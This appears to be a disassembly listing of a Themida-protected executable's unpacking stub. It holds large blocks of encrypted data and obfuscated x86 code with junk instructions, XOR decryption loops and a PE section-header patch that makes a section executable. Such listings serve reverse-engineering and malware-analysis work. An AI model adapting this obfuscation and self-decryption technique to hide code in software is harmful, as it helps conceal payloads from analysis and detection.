dd 56A25867h, 0B4A0B132h, 32E64D5Ah, 7260AADh, 0BA61FAF8h
dd 0BBCFD752h, 56B15861h, 8526B132h, 0BF461D96h, 6467FFB6h
dd 9228D02Dh, 56DF58CEh, 0F2ADB132h, 0E1D11DD2h, 8101B2E2h
dd 564F5852h, 0C27B132h, 75599F7Ch, 95443297h, 0B6482B64h
dd 0E701611Dh, 367DF4B9h, 66753054h, 6D3C445Ch, 0D4A1BD77h
dd 5657B166h, 56AA3F3Dh, 0AA20B132h, 59FAF409h, 5675F2B5h
dd 463BBE32h, 0BF5DB132h, 56AEB139h, 55E5871Dh, 4931B9EFh
dd 915F9A32h, 56EA4D77h, 0D17AB132h, 56BAB13Fh, 565DB9DBh
dd 0E411BB32h, 2F3F7420h, 56A35863h, 591AB132h, 0D3A07837h
dd 709C4B05h, 0AEBAB132h, 57A1F4F5h, 36AEB132h, 2FD60A54h
dd 56B85853h, 0D4DAB132h, 56EAB13Eh, 5675B6DBh, 42581A32h
dd 266207D7h, 0DD57D0CBh, 5EBE4D77h, 9CABB132h, 72ECCD27h
dd 9FB3AB41h, 5675BCDBh, 94BFBF32h, 0DF6CED18h, 0BF151CF4h
dd 5EBEA5B7h, 0BABB132h, 0EAE3E055h, 94C2B68Ah, 598DB13Eh
dd 56BAB0BCh, 59084832h, 56AEB9B7h, 54DABE32h, 36ABB132h
dd 36393A53h, 56EAA5DAh, 826BDE32h, 86B89FC8h, 9F057A96h
dd 0F3B11495h, 6FAF0CB5h, 2E13D79Ah, 0D0DAEE7Bh, 56EAB134h
dd 4B855BB3h, 0D5DB9693h, 5DB44DF6h, 65AEB132h, 8B4CD65h
dd 78F8552Dh, 0AFB5E70Bh, 56EAB1DAh, 0BCF4EB32h, 50A17180h
dd 564F58CEh, 0DAC1B132h, 55AB87A3h, 0F2CE3C35h, 2AA3883Ch
dd 1C8606A2h, 5B9C7801h, 0FBAB132h, 0BF08572Eh, 784B8DDh
dd 0B6EDE711h, 59CB6A01h, 0DDB34A85h, 5303D0FCh, 9475B132h
dd 0A2F81C25h, 36A1ECBBh, 0BA6D3052h, 41BBBAh, 0BFF9D06Ch
dd 56D5B121h, 0F1D2BFC7h, 0DFDCAF98h, 172DDE5Ch, 0A531FF3Ah
dd 0DC9D002h, 0D701D153h, 76F0ECF0h, 5F3CEF33h, 3AEAB132h
dd 0E16E64D3h, 81C77EA3h, 0A8E73A53h, 0AEA8AA4Bh, 59578EB1h
dd 56A9ABB6h, 5A5FBE32h, 59EAB132h, 5675B7B8h, 563DBE32h
dd 0D55DB132h, 0D3A14E0Dh, 5657B105h, 56A6373Dh, 59B5B132h
dd 56EAB1B4h, 0D5AE0A32h, 0D5DBFCCEh, 51B4A5F5h, 0EDAEB132h
dd 6B691416h, 0E342CEA5h, 0BF2A4ECDh, 56EAB139h, 0DA010D5h
dd 0ADDCD92Eh, 0D5DA6E83h, 59AEB54Dh, 5657E0B6h, 472FBE32h
dd 0BFD5B132h, 56EAB13Eh, 0EFD85D2Ch, 40DB80F6h, 0CB285F23h
dd 0DD4C0652h, 29D4D0C1h, 0D2A4B13Eh, 56D5B118h, 56EAB9DBh
dd 63EAEF32h, 3E970E99h, 566E5823h, 0AECEB132h, 370F4865h
dd 56A7383Dh, 30B5B132h, 59656A89h, 5675B1BFh, 1345D032h
dd 91DE44CEh, 5725BE26h, 0A357B132h, 0A95486DBh, 0D8DA4DCDh
dd 56EAB133h, 460A32CBh, 223EBE37h, 365DB132h, 292DD0CBh
dd 0D358B722h, 56ABB1BEh, 0E1DAD152h, 3E3C0BCCh, 3014A8EBh
dd 3728ED89h, 42B4F0CAh, 5AEB132h, 9AED1BD9h, 873C0EA7h
dd 0C4C13082h, 1C5B7D24h, 0AAF0EE2Fh, 0BFBEF6B9h, 565DB121h
dd 0A4DD4DB4h, 988C31F4h, 0DE878FEh, 640A8780h, 59CEB776h
dd 5675B0BCh, 9314932h, 5657583Eh, 63DDB132h, 4C046115h
dd 0CE347A8Bh, 56D52BDBh, 0DD1F4832h, 539CB575h, 0F5BAB132h
dd 0C1CB6017h, 0AAA2EEB9h, 5657CEDBh, 0DAA44D32h, 56D5B13Ah
dd 56E8333Dh, 3715B132h, 59BEF6B9h, 565DA4BAh, 56BE5832h
dd 968AB132h, 82A52801h, 4F19CF18h, 811F10B5h, 9FEDB5Eh
dd 0D7DCD13Eh, 0EF73C5F3h, 49AF3664h, 52089A53h, 56ABB4DBh
dd 20723532h, 0BD69FB90h, 5AF6BE37h, 0BFBAB132h, 565DB135h
dd 4536D5CAh, 369C5B57h, 56ABB6DAh, 91C74532h, 0BDE0A6CBh
dd 592E67B9h, 0D5DB488Dh, 595EA14Dh, 56AEB2B7h, 0AE164432h
dd 0DF576819h, 0A3D4B06Eh, 0A9154E8Ah, 0DA7A44CDh, 56BAB133h
dd 565808CEh, 0A556B132h, 57D5BE99h, 0AEABB132h, 56D5A1DBh
dd 77BC1932h, 4A1A9CD6h, 91B85E0Eh, 575C98DBh, 0AB70589Bh
dd 37A24ECDh, 247B3052h, 599A71CBh, 56EAB3B4h, 37140432h
dd 0AE46F4B9h, 565C3D3Dh, 9F56B132h, 0CFA73052h, 1C17435h
dd 330341B3h, 37B5A61Ch, 57F7BEF1h, 0AFBAB132h, 0AA0C4862h
dd 5347D161h, 0C157B132h, 0A640F04Ah, 56D5A5DBh, 0CD670432h
dd 0F3E76CCFh, 1F750CAEh, 5708FF11h, 3C0DFE87h, 56BFD018h
dd 0CABB132h, 951D5BB3h, 5A03B729h, 475B132h, 0DFFF46B2h
dd 9CCE08A0h, 596821F7h, 5657A3BCh, 56A65832h, 519B132h
dd 494B60A4h, 8312A0F3h, 360AF6B3h, 565DB7DBh, 3404B232h
dd 0BF1944FCh, 56ABB13Dh, 1F0929B5h, 89981A50h, 9975526Ch
dd 37569BC0h, 2CFE2BBFh, 0D1A1B729h, 5657B13Fh, 5620BE52h
dd 30D5B132h, 0D20E73B3h, 56110953h, 0DFB5B132h, 565DB126h
dd 56AEBEDBh, 4AB78532h
dd 0E75CBDCDh, 0FC8E2AB1h, 582EEB8h, 5675BBDBh, 3534E132h
dd 6F81D9F0h, 0BEFC00F6h, 5657B5ECh, 56AA3C3Dh, 0DD2DB132h
dd 56FE5839h, 56E6B132h, 0BC64E72Dh, 0ED296BA4h, 950DC704h
dd 20E17B58h, 9790BC11h, 4E5CBE52h, 0BEEAB132h, 5675B120h
dd 0A2EBA4A3h, 4E1433E9h, 0DCECC2FEh, 0B0EB3555h, 30F147C7h
dd 4C4846B3h, 56415853h, 5580B132h, 0D3B5B579h, 565DB133h
dd 596F8ACEh, 56576EB0h, 5F2CBE32h, 36D5B132h, 54840E54h
dd 37A23A54h, 59AAFA31h, 565DA4BEh, 56BE5832h, 1C1BB132h
dd 0D8942518h, 203AC1E2h, 7CAF3F28h, 0DB7AEA57h, 56BAB120h
dd 565DBCDBh, 0E3A83632h, 0C5374B9Ch, 971A9471h, 97EE2F81h
dd 56C0333Dh, 0D47AB132h, 56BAB134h, 64833152h, 7E47D0CBh
dd 0BF57B132h, 56ABB126h, 0B36430A5h, 0C781FF73h, 9EDF50A9h
dd 1B5EF069h, 0F43E1F0Eh, 56AECBDBh, 0E931D132h, 0ECCDF374h
dd 0BFB44FE6h, 56EAB159h, 5675B9DBh, 7EAE5632h, 1854AA65h
dd 19343C91h, 5951AD05h, 56ABBEB9h, 56DF5832h, 142DB132h
dd 0A7A873A4h, 0DD44C40h, 59B462CDh, 94AEB132h, 43C0D28Bh
dd 69AA4E35h, 29C0AE27h, 7E037E4Ch, 3675B132h, 56BAB8DBh
dd 0A728DB32h, 62350FA8h, 37A2A7D1h, 6CDE2BBFh, 0A92DB72Eh
dd 5E68BEE1h, 5975B132h, 56BAB3BFh, 0D3CD132h, 56AEB7DBh
dd 73B55332h, 0FB384C8h, 5E50BECBh, 59EAB132h, 5675B3BBh
dd 0EDBD132h, 564F3C3Dh, 5B47B132h, 4E57B132h, 0BBBF1B97h
dd 4F7E6DBh, 0B1CC248Fh, 567C58F1h, 92AB132h, 548FD26Ch
dd 3FDB93Eh, 5657B6DBh, 0C2DD3032h, 4EED3849h, 0BE1F5DB9h
dd 5675B132h, 43503068h, 595BAAF4h, 56AEB0BDh, 36AB4432h
dd 56ABB6DBh, 0E5543832h, 0BEE30CECh, 2CD60BBFh, 30DAB729h
dd 0BE3D7EB9h, 56AEB138h, 7D8280E2h, 0F231A67Bh, 378B4727h
dd 5EAF3A53h, 56723E3Dh, 0D5B5B132h, 565DB133h, 36A938CAh
dd 5A123A53h, 52EC38C7h, 56D5BFDBh, 0C88B9832h, 2A3111D6h
dd 0C733536Ch, 0DD90681Bh, 5E47A177h, 4C57B132h, 0FF10DC9Bh
dd 0DF0B17DEh, 5303BD75h, 0B875B132h, 0E9286E64h, 5949F4B9h
dd 56AEBFB6h, 565E5832h, 6851B132h, 0FB7B8F16h, 0DFE9A7E1h
dd 0BF89A175h, 56BAB135h, 8C8F7A64h, 37C3B55Ah, 53DDBE52h
dd 30ABB132h, 2B2C5AB3h, 9F8B43B9h, 5675BDDBh, 54441B32h
dd 54AA76B2h, 5A9D744Dh, 564773F9h, 5723BE52h, 0AAD5B132h
dd 0BF13D153h, 5675B13Ah, 6FCF9352h, 5D2312B1h, 5F6B34F4h
dd 3610B727h, 0A7677AB3h, 8055BA39h, 4C82D03Fh, 59DDA641h
dd 56BAB6B1h, 0E7EBD132h, 377D0E3Dh, 7E4604CDh, 59CBB727h
dd 0DBB46185h, 4E980DB7h, 868A4D34h, 56B2373Dh, 0D63DB132h
dd 0E1A1B7E3h, 3605D0E9h, 5974063Dh, 0DBB4708Dh, 4D96F2B8h
dd 0D713D134h, 374C99C2h, 56575863h, 3DB4B132h, 0B40DC45Fh
dd 68B1F75Fh, 463C61CDh, 0E7EAB132h, 0BB89B99Dh, 0F3C0CB53h
dd 0D4156586h, 0C73469Ah, 564C393Dh, 0DBA4B132h, 56D5B127h
dd 56EAA1DBh, 10604532h, 0D8DDD40h, 436AE704h, 80E59095h
dd 15D53C33h, 36ADAA4Eh, 56D5BADAh, 2C84AB32h, 0FDE81643h
dd 7D333DD5h, 7DE5E9C7h, 37E16F90h, 5A17063Dh, 0BF733ACBh
dd 56D5B13Ah, 95307ECAh, 2CEE85A1h, 56A95860h, 9C89B132h
dd 9B39FAC2h, 999487BCh, 33ABA8CDh, 4FBDD4CBh, 59DBBED9h
dd 5675BCBCh, 56B25832h, 6227B132h, 0E2EFC52h, 590D4956h
dd 56ABB0BDh, 95D64432h, 56E6313Dh, 0D67AB132h, 56BAB134h
dd 565D3C3Dh, 0D427B132h, 5042A74Bh, 56AA3D3Dh, 3720B132h
dd 56FF313Dh, 469CB132h, 0D3BAB132h, 0EFA8FACCh, 49C2AB0Eh
dd 0A75FBB10h, 0C348A685h
; ---------------------------------------------------------------------------
cmc
; =============== S U B R O U T I N E =======================================
sub_5E6279 proc near ; CODE XREF: Themida_:005E6406p
; DATA XREF: Themida_:0057BFBCo
push ecx
jmp loc_5E628B
; ---------------------------------------------------------------------------
add eax, 0A0A5EE41h
aas
loc_5E6285: ; CODE XREF: sub_5E6279+2Aj
mov edx, 0F914460Fh
xchg eax, esi
loc_5E628B: ; CODE XREF: sub_5E6279+1j
push edx
cmc
call $+5
pop edx
sub edx, 61BC863h
pusha
jmp loc_5E62A9
; ---------------------------------------------------------------------------
db 0BCh
; ---------------------------------------------------------------------------
shr dword ptr [edi+50h], 1
js short loc_5E6285
xor [esi], dh
xchg eax, esi
loc_5E62A9: ; CODE XREF: sub_5E6279+21j
mov si, dx
popa
jge loc_5E62BF
jmp loc_5E62BF
; ---------------------------------------------------------------------------
fild qword ptr [esi+2599E87Ch]
das
loc_5E62BF: ; CODE XREF: sub_5E6279+34j
; sub_5E6279+3Aj
pusha
mov ecx, 5888790Ah
jmp loc_5E62DB
; ---------------------------------------------------------------------------
test al, 31h
sbb eax, 2DBE5474h
mov cl, 59h
mov edx, [esi]
mov esi, [ebp-0F380CEFh]
loc_5E62DB: ; CODE XREF: sub_5E6279+4Cj
popa
push edx
pusha
xor si, 97D3h
mov dx, 0E85Eh
popa
mov eax, [edx+6151679h]
jmp loc_5E6300
; ---------------------------------------------------------------------------
db 8Ah
dd 193BACE5h, 0CB2B9FD4h, 0ECA5251h
; ---------------------------------------------------------------------------
loc_5E6300: ; CODE XREF: sub_5E6279+75j
mov ecx, 41C64E6Dh
stc
mul ecx
jnb loc_5E6311
pusha
stc
popa
loc_5E6311: ; CODE XREF: sub_5E6279+8Fj
pop edx
clc
add eax, 3039h
pusha
movzx edx, si
js loc_5E6325
movzx eax, bx
loc_5E6325: ; CODE XREF: sub_5E6279+A3j
popa
and eax, 7FFFFFFFh
jmp loc_5E6336
; ---------------------------------------------------------------------------
dd 0EF18B2BDh
db 4Eh, 0A9h
; ---------------------------------------------------------------------------
loc_5E6336: ; CODE XREF: sub_5E6279+B2j
mov [edx+6151679h], eax
jmp loc_5E6350
; ---------------------------------------------------------------------------
push ebx
db 64h
push ebp
pop edi
dec ebp
adc eax, 0B018ADE5h
dec esi
movsb
stc
xchg dh, ch
loc_5E6350: ; CODE XREF: sub_5E6279+C3j
pop edx
jg loc_5E635E
jo loc_5E635E
cld
loc_5E635E: ; CODE XREF: sub_5E6279+D8j
; sub_5E6279+DEj
pop ecx
pusha
jbe $+6
mov dx, cx
popa
retn
sub_5E6279 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jge loc_5E6372
stc
loc_5E6372: ; CODE XREF: Themida_:005E636Bj
; DATA XREF: Themida_:0057BCD8o
push ecx
cmc
push edx
jns loc_5E6382
pusha
mov bx, cx
mov bl, 8Ch
popa
loc_5E6382: ; CODE XREF: Themida_:005E6375j
jno loc_5E6394
jb loc_5E6394
jle $+6
loc_5E6394: ; CODE XREF: Themida_:loc_5E6382j
; Themida_:005E6388j
call $+5
pop edx
sub edx, 61BC96Ah
cmc
pusha
mov esi, eax
push esi
add cx, 3D81h
pop edi
popa
pusha
mov si, cx
pusha
clc
jmp loc_5E63C4
; ---------------------------------------------------------------------------
db 0B3h
dd 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh
; ---------------------------------------------------------------------------
loc_5E63C4: ; CODE XREF: Themida_:005E63B2j
popa
popa
mov ecx, eax
pusha
jmp loc_5E63E2
; ---------------------------------------------------------------------------
dw 5197h
dd 89E31D86h, 0F652A5D0h, 0EDDBB575h, 0E301FB96h
db 0CDh, 82h
; ---------------------------------------------------------------------------
loc_5E63E2: ; CODE XREF: Themida_:005E63C9j
mov cx, 1CB9h
popa
pusha
jmp loc_5E6401
; ---------------------------------------------------------------------------
db 0DDh, 4Ch, 74h
dd 0C42A9AC5h, 0A2B65E68h, 0D80880Ah, 0F3771587h
db 0EDh
; ---------------------------------------------------------------------------
loc_5E6401: ; CODE XREF: Themida_:005E63E8j
mov dx, 0DA7Eh
popa
call sub_5E6279
clc
xor edx, edx
jmp loc_5E6427
; ---------------------------------------------------------------------------
db 0F8h
dd 3AC106DBh, 0B908C243h, 11F86549h, 0CE0B5038h
db 3Ch, 0A1h, 1Ch
; ---------------------------------------------------------------------------
loc_5E6427: ; CODE XREF: Themida_:005E640Ej
div ecx
pusha
js loc_5E6431
cld
loc_5E6431: ; CODE XREF: Themida_:005E642Aj
; Themida_:loc_5E645Bj
jnb loc_5E6439
push ebx
pop edi
loc_5E6439: ; CODE XREF: Themida_:loc_5E6431j
popa
jmp loc_5E644F
; ---------------------------------------------------------------------------
db 23h
dd 2266B130h, 0EA812ECBh, 0CEA08E4Fh
db 8Bh, 0Dh, 0F0h
; ---------------------------------------------------------------------------
loc_5E644F: ; CODE XREF: Themida_:005E643Aj
mov eax, edx
cld
jmp loc_5E6469
; ---------------------------------------------------------------------------
db 93h
db 0EEh, 0C7h, 5
; ---------------------------------------------------------------------------
loc_5E645B: ; CODE XREF: Themida_:005E6489j
jno short near ptr loc_5E6431+4
scasb
out 19h, eax
fadd dword ptr [esi-61h]
insd
; ---------------------------------------------------------------------------
dd 7EF19121h
; ---------------------------------------------------------------------------
dec ecx
loc_5E6469: ; CODE XREF: Themida_:005E6452j
pop edx
pusha
jmp loc_5E6476
; ---------------------------------------------------------------------------
dd 5841E9Fh
db 50h, 3Eh
; ---------------------------------------------------------------------------
loc_5E6476: ; CODE XREF: Themida_:005E646Bj
jb loc_5E6491
call sub_5E6490
xchg ebp, [eax]
xor [esi+edx*8], cl
or al, 0BCh
scasb
jecxz short loc_5E645B
mov edi, 0E380FE38h
; =============== S U B R O U T I N E =======================================
sub_5E6490 proc near ; CODE XREF: Themida_:005E647Cp
pop eax
loc_5E6491: ; CODE XREF: Themida_:loc_5E6476j
popa
pop ecx
stc
retn
sub_5E6490 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jle loc_5E64B7
jp loc_5E64B7
jmp loc_5E64B7
; ---------------------------------------------------------------------------
dw 3FBDh
dd 0DBDDBCF1h, 8C81F875h, 5C492EE3h
db 1Eh, 2Bh, 98h
; ---------------------------------------------------------------------------
loc_5E64B7: ; CODE XREF: Themida_:005E6495j
; Themida_:005E649Bj ...
mov eax, eax
pusha
jbe loc_5E64C2
mov ah, 0D3h
loc_5E64C2: ; CODE XREF: Themida_:005E64BAj
popa
mov eax, eax
jle loc_5E64D7
jnp loc_5E64D7
jge $+6
loc_5E64D7: ; CODE XREF: Themida_:005E64C5j
; Themida_:005E64CBj
cmc
lea eax, [ebp+61B91F4h]
pusha
adc ecx, 44AD6170h
loc_5E64E5: ; CODE XREF: Themida_:005E64F1j
call sub_5E64F8
xor [edi+24h], dh
popa
xchg eax, ebx
jb short loc_5E6568
jbe short loc_5E64E5
jmp short near ptr loc_5E64FC+4
; ---------------------------------------------------------------------------
db 5Bh, 0BAh, 0B3h
; =============== S U B R O U T I N E =======================================
sub_5E64F8 proc near ; CODE XREF: Themida_:loc_5E64E5p
pop edx
popa
call eax
loc_5E64FC: ; CODE XREF: Themida_:005E64F3j
jns loc_5E6509
jge loc_5E6509
cmc
loc_5E6509: ; CODE XREF: sub_5E64F8:loc_5E64FCj
; sub_5E64F8+Aj
mov ax, cx
jle loc_5E6519
jb loc_5E6519
cld
loc_5E6519: ; CODE XREF: sub_5E64F8+14j
; sub_5E64F8+1Aj
lea eax, [ebp+61BC84Ah]
cmc
mov [ebp+615258Dh], eax
cld
lea eax, [ebp+61BC943h]
clc
mov [ebp+61522A9h], eax
pusha
movsx edi, ax
add esi, 76069DF9h
popa
mov eax, 0
stc
jge loc_5E656C
pusha
jmp loc_5E6560
; ---------------------------------------------------------------------------
db 0C0h, 0E6h, 31h
dd 2B1CCC13h, 4C36A1D6h, 0A01FFA87h
; ---------------------------------------------------------------------------
loc_5E6560: ; CODE XREF: sub_5E64F8+54j
call loc_5E656A
; ---------------------------------------------------------------------------
db 0D3h, 0BBh, 87h
; ---------------------------------------------------------------------------
loc_5E6568: ; CODE XREF: Themida_:005E64EFj
jecxz short near ptr loc_5E65A2+3
loc_5E656A: ; CODE XREF: sub_5E64F8:loc_5E6560j
pop esi
popa
loc_5E656C: ; CODE XREF: sub_5E64F8+4Dj
or eax, eax
jz loc_5E66D4
cld
mov byte ptr [ebp+61509C5h], 56h
jnb loc_5E658A
jo loc_5E658A
pusha
popa
loc_5E658A: ; CODE XREF: sub_5E64F8+84j
; sub_5E64F8+8Aj
push 0A9C530DFh
jmp loc_5E659B
; ---------------------------------------------------------------------------
imul edi, [edx+ebp], 0DA9F3DF6h
loc_5E659B: ; CODE XREF: sub_5E64F8+97j
push dword ptr [ebp+6152811h]
stc
loc_5E65A2: ; CODE XREF: sub_5E64F8:loc_5E6568j
lea eax, [ebp+61872BCh]
jnz loc_5E65C0
jmp loc_5E65C0
; ---------------------------------------------------------------------------
db 0C8h
dd 22F4F229h, 200F4401h, 19812F37h
; ---------------------------------------------------------------------------
loc_5E65C0: ; CODE XREF: sub_5E64F8+B0j
; sub_5E64F8+B6j
cld
call eax
jz loc_5E65E5
jnz loc_5E65E5
jmp loc_5E65E5
; ---------------------------------------------------------------------------
dd 0AC58F826h, 0DAF21F3Ch, 0FF377088h, 73757CF1h
db 15h
; ---------------------------------------------------------------------------
loc_5E65E5: ; CODE XREF: sub_5E64F8+CBj
; sub_5E64F8+D1j ...
push eax
pusha
push edi
add al, 2Fh
pop eax
mov ecx, ebx
popa
lea ecx, [ebp+6152839h]
pusha
jnp loc_5E6601
and bx, 0D208h
loc_5E6601: ; CODE XREF: sub_5E64F8+FEj
mov edi, esi
popa
push ecx
jmp loc_5E661E
; ---------------------------------------------------------------------------
dw 98D3h
dd 6533CC58h, 7EAA07CAh, 0F20ECF4Ch, 7127BC53h
db 0CAh, 0EBh
; ---------------------------------------------------------------------------
loc_5E661E: ; CODE XREF: sub_5E64F8+10Dj
push 4
jnb loc_5E6627
clc
loc_5E6627: ; CODE XREF: sub_5E64F8+128j
push 1000h
jmp loc_5E663A
; ---------------------------------------------------------------------------
db 0DFh, 30h, 3Dh
dd 65D6C7E9h
db 7Fh, 0Eh
; ---------------------------------------------------------------------------
loc_5E663A: ; CODE XREF: sub_5E64F8+134j
push dword ptr [ebp+6150031h]
jnp loc_5E665F
jb loc_5E665F
jmp loc_5E665F
; ---------------------------------------------------------------------------
bswap edi
or ebp, [edi]
adc eax, 0C19834Fh
dec ecx
mov dl, 4Ch
retn
; ---------------------------------------------------------------------------
popf
loc_5E665F: ; CODE XREF: sub_5E64F8+148j
; sub_5E64F8+14Ej ...
jnz loc_5E6672
jmp loc_5E6672
; ---------------------------------------------------------------------------
dw 0C03h
dd 6DC96EBBh
db 0DBh, 65h
; ---------------------------------------------------------------------------
loc_5E6672: ; CODE XREF: sub_5E64F8:loc_5E665Fj
; sub_5E64F8+16Dj
call eax
pusha
call sub_5E667F
dec ecx
sahf
pop esp
in eax, 0Eh ; DMA controller, 8237A-5.
sub_5E64F8 endp ; sp-analysis failed ; Clear mask registers.
; Any OUT enables all 4 channels.
; =============== S U B R O U T I N E =======================================
sub_5E667F proc near ; CODE XREF: sub_5E64F8+17Dp
add ch, 6Ah
pop ebx
mov ax, bx
popa
mov edi, [ebp+6150031h]
cmc
jl loc_5E66AE
pusha
mov bx, 0E424h
jmp loc_5E66AD
; ---------------------------------------------------------------------------
dw 39DDh
dd 0FEC251DBh, 86D6B6EAh, 97C1AD84h
db 0F3h
; ---------------------------------------------------------------------------
loc_5E66AD: ; CODE XREF: sub_5E667F+1Aj
popa
loc_5E66AE: ; CODE XREF: sub_5E667F+Fj
add edi, [edi+3Ch]
pusha
add bx, 0AB11h
mov dl, ch
popa
add edi, 0F8h
clc
mov dword ptr [edi+24h], 60000020h
jmp loc_5E66D4
; ---------------------------------------------------------------------------
db 25h, 4Ah, 9
dd 71ECC27Fh
; ---------------------------------------------------------------------------
loc_5E66D4: ; CODE XREF: sub_5E64F8+76j
; sub_5E667F+49j
lea ebx, [ebp+6150FFDh]
jmp loc_5E66E7
; ---------------------------------------------------------------------------
db 0E0h
dd 0A8EA7025h
db 0AFh, 39h, 0A5h
; ---------------------------------------------------------------------------
loc_5E66E7: ; CODE XREF: sub_5E667F+5Bj
jns loc_5E66EE
cld
loc_5E66EE: ; CODE XREF: sub_5E667F:loc_5E66E7j
mov eax, [ebx]
jmp loc_5E66FA
; ---------------------------------------------------------------------------
db 73h, 0B6h, 0EDh
db 83h, 77h
; ---------------------------------------------------------------------------
loc_5E66FA: ; CODE XREF: sub_5E667F+71j
or eax, eax
jz loc_5E6741
pusha
push ecx
mov esi, 3B9916B1h
pop ecx
jmp loc_5E671A
; ---------------------------------------------------------------------------
db 25h
; ---------------------------------------------------------------------------
sub ss:[ecx+19E5F9E5h], bl
dec esi
mov bl, 1Dh
loc_5E671A: ; CODE XREF: sub_5E667F+8Bj
popa
mov eax, [eax]
js loc_5E672C
pusha
mov esi, edx
add dx, 0CD33h
popa
loc_5E672C: ; CODE XREF: sub_5E667F+9Ej
mov [ebx+4], eax
jmp loc_5E6741
; ---------------------------------------------------------------------------
dd 0E5653445h, 196237FDh, 0AD3650CDh
; ---------------------------------------------------------------------------
stosd
loc_5E6741: ; CODE XREF: sub_5E667F+7Dj
; sub_5E667F+B0j
mov ecx, 234CF6h
call near ptr loc_5E674F+1
pop esi
scasb
lea eax, [esi]
loc_5E674F: ; CODE XREF: sub_5E667F+C7p
adc esi, [ecx-7E99A049h]
sub_5E667F endp ; sp-analysis failed
loope near ptr loc_5E67AE+4
pusha
add edi, 7045h
mov cx, 92BBh
mov edx, 1BF7h
mov si, bx
; START OF FUNCTION CHUNK FOR sub_5E67A0
loc_5E676A: ; CODE XREF: sub_5E67A0:loc_5E67AEj
mov eax, [edi]
push edi
mov ecx, 356EB39Eh
pop ebx
add eax, 1A12CF79h
mov bh, 41h
xor eax, 1134A4Eh
xor eax, 116DB0D3h
mov ebx, 23327830h
push eax
mov ecx, eax
pop dword ptr [edi]
call sub_5E67A0
aam 0BBh
setalc
mov cl, 0ACh
db 67h
push es
xchg eax, ebp
mov cl, 51h
; END OF FUNCTION CHUNK FOR sub_5E67A0
; =============== S U B R O U T I N E =======================================
sub_5E67A0 proc near ; CODE XREF: sub_5E67A0-Fp
; FUNCTION CHUNK AT 005E676A SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005E67D5 SIZE 00000024 BYTES
cld
pop esi
sub edi, 4
loc_5E67A5: ; CODE XREF: sub_5E67A0+28j
push edx
push esi
pusha
popa
pop esi
pop ecx
sub edx, 1
loc_5E67AE: ; CODE XREF: Themida_:005E6755j
jnz loc_5E676A
mov bx, 640h
call near ptr loc_5E67CB+2
push ebp
sbb al, 42h
dec ebp
pop edx
mov ch, [edi+33h] ; CODE XREF: sub_5E67A0+57j
push ds
jo short loc_5E67D5
ja short loc_5E67A5
daa
loc_5E67CB: ; CODE XREF: sub_5E67A0+18p
db 26h
loope near ptr loc_5E67DA+3
sub_5E67A0 endp ; sp-analysis failed
xchg al, ds:0B8000000h
leave
; START OF FUNCTION CHUNK FOR sub_5E67A0
loc_5E67D5: ; CODE XREF: sub_5E67A0+26j
sbb bl, ah
jnz short loc_5E6832
cmc
loc_5E67DA: ; CODE XREF: sub_5E67A0:loc_5E67CBj
add ecx, 6D82h
call sub_5E67F9
push ebx
dec ebx
call near ptr 1B6F958Ah
xor ecx, [edx]
aas
add dword ptr fs:[eax-5Bh], 4104BC42h
jg short near ptr loc_5E67C2+1
; END OF FUNCTION CHUNK FOR sub_5E67A0
; =============== S U B R O U T I N E =======================================
sub_5E67F9 proc near ; CODE XREF: sub_5E67A0+40p
arg_0 = dword ptr 4
arg_1C4 = dword ptr 1C8h
; FUNCTION CHUNK AT 0058E30C SIZE 00000047 BYTES
pop eax
push 0
mov si, 1754h
pop edx
push edx
pop esi
loc_5E6806: ; CODE XREF: sub_5E67F9+A7j
mov ebx, [ecx+edx]
pusha
stc
mov dx, 9F73h
popa
xor ebx, 3CAC2EA2h
xor ebx, 2017944Bh
jmp loc_5E6828
; ---------------------------------------------------------------------------
db 59h, 0F6h, 62h
; ---------------------------------------------------------------------------
and ch, [edi-65h]
xchg eax, edi
loc_5E6828: ; CODE XREF: sub_5E67F9+23j
xor ebx, 554F6359h
mov si, 0BF78h
loc_5E6832: ; CODE XREF: sub_5E67A0+37j
push ebx
pusha
js loc_5E683D
mov dx, bx
loc_5E683D: ; CODE XREF: sub_5E67F9+3Bj
popa
pop dword ptr [ecx+edx]
jg loc_5E6850
jl loc_5E6850
sub al, 0A2h
loc_5E6850: ; CODE XREF: sub_5E67F9+48j
; sub_5E67F9+4Ej
mov esi, 58274E41h
sub edx, 4
mov al, 0E5h
cmp edx, 0FFFF9370h
jnz loc_5E689C
pusha
jge loc_5E686F
mov dl, 5Ch
loc_5E686F: ; CODE XREF: sub_5E67F9+6Ej
jp loc_5E688C
jmp loc_5E688C
; ---------------------------------------------------------------------------
dw 0D778h
; ---------------------------------------------------------------------------
stc
xchg eax, ecx
sub [ecx+79h], ebp
and [ecx+6Dh], dh
adc ebp, eax
xchg eax, esi
enter 0FFFFFDF7h, 81h
loc_5E688C: ; CODE XREF: sub_5E67F9:loc_5E686Fj
; sub_5E67F9+7Cj
popa
jmp loc_5E68B3
; ---------------------------------------------------------------------------
dw 0E6D1h
dd 76B79A30h, 0AC741532h
; ---------------------------------------------------------------------------
loc_5E689C: ; CODE XREF: sub_5E67F9+67j
mov di, 0D535h
jmp loc_5E6806
; ---------------------------------------------------------------------------
db 13h, 0B4h, 2Ah
dd 0EAB696DEh, 0E91143Eh
db 5Ch, 35h, 0EAh
; ---------------------------------------------------------------------------
loc_5E68B3: ; CODE XREF: sub_5E67F9+94j
jmp loc_5E68DB
; ---------------------------------------------------------------------------
dd 46FF5581h
dword_5E68BC dd 7 dup(0) db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5E68DB: ; CODE XREF: sub_5E67F9:loc_5E68B3j
jmp loc_5E7378
; ---------------------------------------------------------------------------
push 61BD011h
jmp loc_58E30C
; ---------------------------------------------------------------------------
push 61BD12Dh
jmp loc_58E30C
; ---------------------------------------------------------------------------
push 61BD2A0h
jmp loc_58E30C
; ---------------------------------------------------------------------------
push 61BD3B2h
jmp loc_58E30C
; ---------------------------------------------------------------------------
push 61BD52Fh
jmp loc_58E30C
; ---------------------------------------------------------------------------
push 61BD6D8h
jmp loc_58E30C
; ---------------------------------------------------------------------------
push 61BD7C7h
jmp loc_58E30C
; ---------------------------------------------------------------------------
dw 987Dh
dd 3018E3E5h, 96907B4Dh, 321AE5E7h, 9C8E794Bh, 5A50EFE1h
dd 0D1B3CAC0h, 4C3C4126h, 0D1B3CAC1h, 4E3E3F26h, 0C0DDD9D6h
